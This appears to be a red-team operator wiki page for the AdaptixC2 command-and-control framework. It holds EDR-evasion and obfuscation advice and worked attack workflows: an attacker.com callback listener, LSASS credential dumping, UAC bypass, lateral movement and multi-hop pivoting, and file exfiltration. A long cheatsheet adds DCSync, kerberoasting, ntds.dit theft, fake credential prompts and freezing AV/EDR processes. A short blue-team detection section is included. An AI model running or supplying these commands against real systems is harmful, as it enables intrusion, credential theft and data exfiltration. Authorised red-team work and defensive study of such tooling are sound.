# (profile.yaml points to valid cert)

Encryption & Encoding

Problem: Plain HTTP traffic is obvious C2.

Solution:

• Always use HTTPS/TLS listener
• Configure listener encryption (AES-256, etc.)
• Agents encrypt task data at rest

BOF Execution Safety

Problem: In-memory BOF execution can trigger behavioral detection.

Solution:

• Inject BOFs into sacrificial processes when possible
• Use obfuscated BOF sources
• Limit BOF frequency (don't spam commands)

DNS Exfiltration Caution

Problem: DNS queries are logged; exfiltrating large data via DNS is slow and obvious.

Solution:

• Use DNS listener for low-and-slow scenarios only
• Combine with legitimate traffic
• Use DoH to hide DNS queries (if network allows)

Process Injection Targets

Problem: Injecting into well-known processes (notepad.exe, calc.exe) is suspicious.

Solution:

• Inject into legitimate system services (svchost.exe, explorer.exe context)
• Use parent process spoofing
• Migrate after injection

Artifact Generation

Problem: Beacon/Gopher binaries have detectible signatures.

Solution:

• Customize agent source code (add noise, junk code)
• Use obfuscators (e.g., Invoke-Obfuscation for PowerShell payloads)
• Recompile agents frequently
• Use polymorphic agents

Hiding from Blue Team

Detection Vectors:

Detection Notes (Blue Team Awareness)

Network Indicators

• HTTP/HTTPS C2 traffic with consistent intervals (even with jitter, patterns emerge over hours)
• Odd User-Agent strings or generic ones (Mozilla/5.0 with no OS info)
• Custom HTTP headers (e.g., X-Heartbeat) if not whitelisted
• Callback to external IP/domain from internal host (network egress anomaly)
• QUIC/UDP 443 traffic if HTTP/3 listener (unusual in many networks)
• SMB traffic on non-standard pipes (forensic alert)
• DNS query patterns (subdomains matching C2 domain)

Behavioral Indicators

• Rapid recon commands: whoami, net user, ipconfig issued in sequence
• Unusual process tree: Parent process spawning shell (cmd.exe/powershell under non-standard parent)
• Token impersonation: Process running as SYSTEM without justification
• File access patterns: Reading SAM, NTDS, lsass (suspicious for non-admin processes)
• Process injection: Child process with no network I/O but parent has outbound C2 traffic

File-Based Indicators

• Beacon/Gopher binaries — Unsigned Go/C++ binaries with high entropy
• Temp staging files — Agents often stage payloads in %TEMP% or /tmp
• BOF artifacts — Temporary .obj or .bin files during compilation/execution

Memory Indicators

• Injected shellcode — Detectable by memory scanners (Yara rules, volatility plugins)
• Hollowed processes — Process image base mismatched with disk binary
• In-memory encrypted strings — Decrypted at runtime (behavioral alert)

Log Indicators

• Event ID 4688 (Process Creation) — Suspicious parent-child relationships
• Event ID 3389 (RDP login) — Unexpected logons from internal IPs
• Sysmon Event ID 8 (CreateRemoteThread) — Process injection attempts
• DNS event logs — Queries to suspicious domains

Defender/EDR Evasion Patterns

• AMSI bypass attempts detected by ETW providers
• Windows Defender disable commands in event logs
• Disabling Sysmon — Service stop events
• Registry tampering (DisableRealtimeMonitoring)

Mitigation for Defenders

• Behavioral monitoring: Flag rapid enumeration commands, token impersonation
• Network segmentation: Block internal-to-external traffic by default
• DNS filtering: Block known C2 domains, monitor subdomains
• Process injection monitoring: Hook CreateRemoteThread, flag unusual parents
• Memory-resident malware detection: Use memory scanners, behavioral triggers
• EDR deployment: Provide visibility into code injection, process creation
• Log aggregation & SIEM: Correlate events across multiple sources

Common Attack Workflows

Workflow 1: Initial Foothold → Recon → Privilege Escalation

# 1. Set up HTTP listener on attack box
Listeners tab → Create HTTP/HTTPS listener
- Bind Port: 443
- Callback Host: attacker.com:443
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
- Start listener

# 2. Generate Beacon agent
Listener → Generate Agent → Download agent.exe

# 3. Deliver agent (phishing, exploit, etc.)
# (outside Adaptix scope)

# 4. Agent checks in
Agents tab → New agent listed (Agent ID: xyz)

# 5. Interact with agent
Double-click agent → Agent shell opens

> info
[*] Agent xyz running as NT AUTHORITY\SYSTEM
[*] Hostname: WORKSTATION-01
[*] OS: Windows 10 Build 19045

# 6. Enumerate system
> shell whoami /all
> shell net localgroup administrators
> shell tasklist /v

# 7. Harvest credentials via BOF
AxScript → Load Extension-Kit
> run lsass_dump
[+] lsass dump: 8.5 MB
Credentials tab → New hashes added

# 8. Escalate privileges (if not SYSTEM)
> run bypass_uac
[+] UAC bypass successful
> run impersonate_token SYSTEM
[+] Impersonating SYSTEM

# 9. Back to Agents tab, confirm SYSTEM access

Workflow 2: Multi-Hop Network Pivot

# 1. Compromise perimeter server (Agent A) with direct egress
Agents → Agent A (HTTP listener, direct C2)

# 2. Enumerate internal network from Agent A
> shell net view
> shell arp -a
> shell ipconfig /all

# 3. Compromise internal server (Agent B) via lateral movement
> shell psexec \\INTERNAL-SRV-02 -u domain\admin -p password cmd.exe
# (deploy Beacon agent to INTERNAL-SRV-02)

# 4. Agent B checks in → register as SMB relay
Agents → Agent B appears (initial connectivity via Agent A's SOCKS)

# 5. Link Agent B to Agent A (reduce egress)
Agent B → Right-click → Link Agent
- Type: SMB
- Target: WORKSTATION-01 (Agent A)
- Pipe: \\Device\NamedPipe\adaptix
[+] Link successful

# 6. Now Agent B talks to Agent A via SMB; Agent A reports to C2
# Internal traffic only; no direct egress from Agent B

# 7. Compromise deeper (Agent C) via Agent B
Agent B shell → Deploy Agent C
Agent C → Link to Agent B

# 8. Result: Three-hop chain (Agent C → B → A → C2)
Agents tab → Graph shows chain

# 9. Extract data via the chain
Agent C > download C:\sensitive\data.xlsx
(Data flows: C → B → A → C2)

Workflow 3: Credential Theft & Spray

# 1. Dump credentials from compromise host
Agent A shell > run lsass_dump

# 2. Credentials tab → Export stolen credentials
Credentials (right-click) → Export as CSV

# 3. Review creds (Targets tab for hosts to spray)
Username, NTLM hash, Domain, etc.

# 4. Pivot to new host via SMB relay
Agent A > socks start 9050
(On your box):
proxychains impacket-secretsdump 'DOMAIN/admin:password@192.168.1.10'

# 5. Use new credentials to compromise additional hosts
proxychains impacket-psexec 'DOMAIN/compromised_user@192.168.1.50' cmd.exe
# Deploy Agent C to the new host

# 6. Repeat: More agents → More credentials → Wider network access

Workflow 4: Data Exfiltration

# 1. Locate sensitive files (file browser or manual enumeration)
Agent A > shell dir C:\Users\*\Documents\*.xlsx

# 2. Download files
> download C:\Users\admin\Documents\financial.xlsx

# 3. Files tab → Review downloaded files
Files tab → financial.xlsx listed

# 4. Large file exfil? Use SOCKS pivot
Agent A > socks start 9050
(On your box):
proxychains scp user@192.168.1.100:/sensitive/data.tar.gz ./

# 5. Screenshot capture for reporting
> screenshot
(Screenshots tab → New screenshot with timestamp)

# 6. Store in Targets Manager (associate with target host)
Targets → Add/update target with findings

Cheatsheet

Server Startup

cd dist/
./AdaptixServer -profile profile.yaml -debug

Client Launch

./AdaptixClient
# Fill in: Server, Password, Nickname, Project

Listeners (Quick Setup)

Listeners tab
→ Create HTTP Listener
→ Fill: Port 443, Callback Host attacker.com:443, User-Agent (Mozilla...)
→ Start

Generate Agent

Listener → Generate Agent → Select Beacon/Gopher → Download agent.exe

Interact with Agent

Agents tab → Double-click agent → Shell opens

help                          # Show commands
info                          # Agent info
pwd / cd                      # Navigation
shell <cmd>                   # Execute command
upload <local> <remote>       # Upload file
download <remote> <local>     # Download file
screenshot                    # Capture screen
ps                            # List processes
kill <pid>                    # Terminate process
sleep <ms>                    # Set beacon interval
jitter <percent>              # Set jitter
back                          # Exit agent shell

BOF Modules (Extension-Kit)

# Build and load
git clone https://github.com/Adaptix-Framework/Extension-Kit.git && cd Extension-Kit && make
# Client: AxScript → Script Manager → Load new → extension-kit.axs

# Local recon
whoami          ipconfig        arp       routeprint    env
listdns         uptime          useridletime
privcheck tokenpriv             privcheck vulndrivers

# Remote recon
nbtscan 192.168.1.0/24 -v                         # NetBIOS scan
smartscan 192.168.1.0/24 -p standart              # Port scan
taskhound DC01 -save C:\Temp -grab-blobs           # Scheduled task creds + DPAPI
quser 192.168.1.10                                  # Who's logged in

# AD enumeration & attacks
ldapsearch "(objectClass=user)" samAccountName
get-users
get-computers
kerbeus asreproast /format:hashcat
kerbeus kerberoast /format:hashcat
kerbeus dump
kerbeus ptt /ticket:<b64>
certi find /vulnerable
certi request /ca:CORP-CA /template:VulnTemplate /altname:Administrator
certi shadow auto /target:WS01$
certi unpac /pfx:<b64>
dcsync /user:krbtgt /domain:corp.local
badtakeover /target:admin-dMSA
sql exec /host:sql01 /command:"whoami"
relayinformer 192.168.1.10

# Credential harvesting
hashdump                         # SAM hashes
lsadump_secrets                  # LSA secrets
lsadump_cache                    # Cached domain creds
nanodump --method 1              # LSASS minidump (fileless)
cookie-monster                   # Browser creds/cookies
credman                          # Credential Manager
get-netntlm                      # Internal Monologue
askcreds -p "Windows Security"   # Fake cred prompt
underlaycopy C:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit

# Privilege escalation
getsystem token
uacbypass sspi C:\Temp\agent.exe
potato-dcom --token
potato-print --run C:\Temp\agent.exe

# Process injection
inject-sec <pid> shellcode.bin
inject-cfg <pid> shellcode.bin
inject-poolparty 2 <pid> shellcode.bin

# In-process execution
execute-assembly /path/Rubeus.exe "kerberoast /format:hashcat"
execute-assembly /path/SharpHound.exe "-c All --zipfilename bh.zip"
noconsolation /path/mimikatz.exe "sekurlsa::logonpasswords exit"

# Lateral movement
jump psexec DC01 /tmp/agent.exe
invoke scshell 192.168.1.10 defragsvc "cmd /c whoami"
invoke winrm DC01 "whoami /all"
token steal <pid>
token make Administrator P@ssword corp.local 9

# Process management
findobj module amsi.dll          # Find what has AMSI loaded
findobj prochandle lsass.exe     # Find LSASS handle holders
process conn                     # Processes with network connections
procfreeze freeze <pid>          # Freeze AV/EDR process

# Post-exploitation
screenshot_bof
sauroneye C:\Users pass* -ocs    # Search for password files
firewallrule add "Update" out tcp 443 /group:Microsoft

Pivoting via SOCKS

Agent shell:
> socks start 9050

On attack box:
echo "socks5 127.0.0.1 9050" >> /etc/proxychains4.conf
proxychains nmap -sT -Pn 192.168.1.0/24
proxychains impacket-secretsdump DOMAIN/user:pass@192.168.1.10

Agent Linking (SMB Relay)

Agent A shell:
> listen smb \\Device\NamedPipe\adaptix

Agent B:
Agents tab → Agent B → Link Agent
- Type: SMB
- Target: Agent A hostname
- Pipe: \\Device\NamedPipe\adaptix

Data Management

Credentials tab → Review/export harvested creds
Targets tab → Add hosts, track progress
Screenshots tab → View captured images
Files tab → Review uploaded/downloaded files

Unlink/Kill Agent

Agents tab → Right-click agent → Unlink or Kill
(Removes agent from active list; beacons stop)

Troubleshooting

Server won't start

Error: TLS certificate not found

Fix: Generate self-signed cert or update paths in profile.yaml:

openssl req -x509 -nodes -newkey rsa:2048 -keyout server.rsa.key -out server.rsa.crt -days 3650
# Place in dist/ or update profile.yaml paths

Client can't connect to server

Error: Failed to authorize: invalid password

Fix:

1. Check server running: ps aux | grep AdaptixServer
2. Verify password in client matches server's profile.yaml (Password field)
3. Check firewall: netstat -tuln | grep 4321 (or custom port)

Agent doesn't check in

Possible causes:

1. Listener not running — Check Listeners tab, ensure listener is Started
2. Callback host wrong — Agent config points to old C2, not listener's callback host
3. Network blocked — Firewall blocking egress to C2 port; try DNS listener instead
4. Agent crashed — Check target host logs (Windows Event Viewer, Linux syslog)

Debug: Start server with -debug flag; watch console logs for connection attempts.

BOF module fails to load

Error: Failed to load extension-kit.axs

Fix:

1. Download Extension-Kit: git clone https://github.com/Adaptix-Framework/Extension-Kit.git
2. Build: make ext (if needed)
3. In client: AxScript → Script Manager → Load → Select extension-kit.axs
4. Restart client if modules don't appear

SOCKS proxy not working

Symptom: proxychains commands timeout

Debug:

1. Verify agent has socks start 9050 running
2. Check proxychains config: cat /etc/proxychains4.conf | grep socks5
3. Test connectivity: nc -zv 127.0.0.1 9050
4. Try with -v flag: proxychains -v nmap localhost

Agent linking fails

Error: Failed to link: SMB pipe unavailable

Fix:

1. Ensure target agent has listener configured: listen smb \\Device\NamedPipe\adaptix
2. Check SMB is accessible: On target, net share should list pipe
3. Verify agent has admin/SYSTEM (SMB relay requires elevated access)
4. Retry link command

References

• GitHub Repository: https://github.com/Adaptix-Framework/AdaptixC2
• Official Documentation: https://adaptix-framework.gitbook.io/
• Extension-Kit (BOF Modules): https://github.com/Adaptix-Framework/Extension-Kit
• Community Walkthroughs:
• https://redheadsec.tech/adaptixc2-possibly-my-new-favorite-open-source-c2-platform/
• https://github.com/M-o-j-o/adaptix-c2-walkthrough
• https://undercodetesting.com/mastering-adaptixc2-advanced-c2-frameworks-and-bof-integration-for-red-teamers/
• AxScript Docs: https://adaptix-framework.gitbook.io/adaptix-framework/development/axscript
• Teamserver Interface: https://adaptix-framework.gitbook.io/adaptix-framework/adaptix-c2/teamserver-interface
• Contact:
• X/Twitter: @hacker_ralf
• Discord: https://discord.gg/pGYRTwDsTb
• Telegram: https://t.me/AdaptixFramework

Appendix: Common Operational Mistakes

1. Building agents without configuring C2 endpoint — Agents need to know where to callback. Use environment variables or rebuild with correct URL.
2. Using HTTP listener in production — Always HTTPS/TLS to avoid obvious plaintext C2 traffic.
3. Fixed beacon intervals without jitter — Exact intervals are a network IOC; always enable jitter (20–50%).
4. Forgetting to change default password — Profile.yaml ships with password: merlin; change immediately.
5. Linking agents without understanding SMB pipe names — Pipe names must match exactly; typos cause silent failures.
6. Exposing server to untrusted networks — Server should listen on localhost (127.0.0.1) only or behind a VPN; don't expose 4321 to the internet.
7. Not generating new certificates for each engagement — Reusing certs across engagements is bad OPSEC; generate new ones per client.
8. Overloading agents with BOF modules — Running too many BOFs in sequence can block task queue; space them out.
9. Forgetting to unlink agents — When disengaging, unlink agents to stop activity; don't leave beacons active.
10. Not backing up Credentials/Targets data — Data stored server-side; export credentials and targets before shutdown for reporting.

Last Updated: July 2026
Wiki Revision: 1.0 (Adaptix v0.7+)
Contributed by: Red Team Documentation Project